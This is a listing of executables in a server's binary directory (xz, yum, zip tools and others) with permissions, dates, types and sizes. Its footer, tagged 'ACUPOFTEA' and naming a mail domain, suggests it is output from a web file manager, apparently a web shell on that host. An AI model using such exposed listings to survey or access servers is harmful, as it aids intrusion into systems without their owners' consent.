-rwxr-xr-x
2025-08-26 08:55:17
xstdcmap
application/x-sharedlib
17.68 KB
-rwxr-xr-x
2019-10-15 01:08:41
xsubpp
text/x-perl
4.96 KB
-rwxr-xr-x
2019-10-13 08:58:35
xxd
application/x-sharedlib
20.54 KB
-rwxr-xr-x
2025-10-12 12:23:15
xz
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
xzcat
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
xzcmp
text/x-shellscript
6.48 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzdec
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2022-06-14 01:03:34
xzdiff
text/x-shellscript
6.48 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzegrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzfgrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzgrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzless
text/x-shellscript
1.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzmore
text/x-shellscript
2.11 KB
-rwxr-xr-x
2022-06-14 01:03:30
yat2m
application/x-sharedlib
33.34 KB
-rwxr-xr-x
2019-10-12 12:20:46
yes
application/x-sharedlib
33.45 KB
-rwxr-xr-x
2023-04-01 08:44:39
ypdomainname
application/x-sharedlib
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
yum
text/x-python
2.05 KB
-rwxr-xr-x
2025-03-11 09:47:56
yum-builddep
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-config-manager
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-debug-dump
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-debug-restore
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-groups-manager
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yumdownloader
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
zcat
text/x-shellscript
1.94 KB
-rwxr-xr-x
2022-04-27 05:49:28
zcmp
text/x-shellscript
1.64 KB
-rwxr-xr-x
2022-04-27 05:49:28
zdiff
text/x-shellscript
5.74 KB
-rwxr-xr-x
2022-04-27 05:49:28
zegrep
text/x-shellscript
29 B
-rwxr-xr-x
2022-04-27 05:49:28
zfgrep
text/x-shellscript
29 B
-rwxr-xr-x
2022-04-27 05:49:28
zforce
text/x-shellscript
2.03 KB
-rwxr-xr-x
2022-04-27 05:49:28
zgrep
text/x-shellscript
7.4 KB
-rwxr-xr-x
2022-04-27 05:49:28
zip
application/x-sharedlib
229 KB
-rwxr-xr-x
2019-10-11 01:11:04
zipcloak
application/x-sharedlib
102.91 KB
-rwxr-xr-x
2019-10-11 01:11:04
zipdetails
text/x-perl
49.39 KB
-rwxr-xr-x
2019-10-13 09:48:20
zipgrep
text/x-shellscript
2.88 KB
-rwxr-xr-x
2008-10-10 05:40:36
zipinfo
application/x-sharedlib
201.88 KB
-rwxr-xr-x
2025-06-03 02:10:12
zipnote
application/x-sharedlib
97.76 KB
-rwxr-xr-x
2019-10-11 01:11:04
zipsplit
application/x-sharedlib
97.76 KB
-rwxr-xr-x
2019-10-11 01:11:04
zless
text/x-shellscript
2.15 KB
-rwxr-xr-x
2022-04-27 05:49:28
zmore
text/x-shellscript
1.8 KB
-rwxr-xr-x
2022-04-27 05:49:28
znew
text/x-shellscript
4.45 KB
-rwxr-xr-x
2022-04-27 05:49:28
zsoelim
application/x-sharedlib
42.55 KB
-rwxr-xr-x
2019-10-13 02:29:41
~ ACUPOFTEA - mail.ontime-ae.com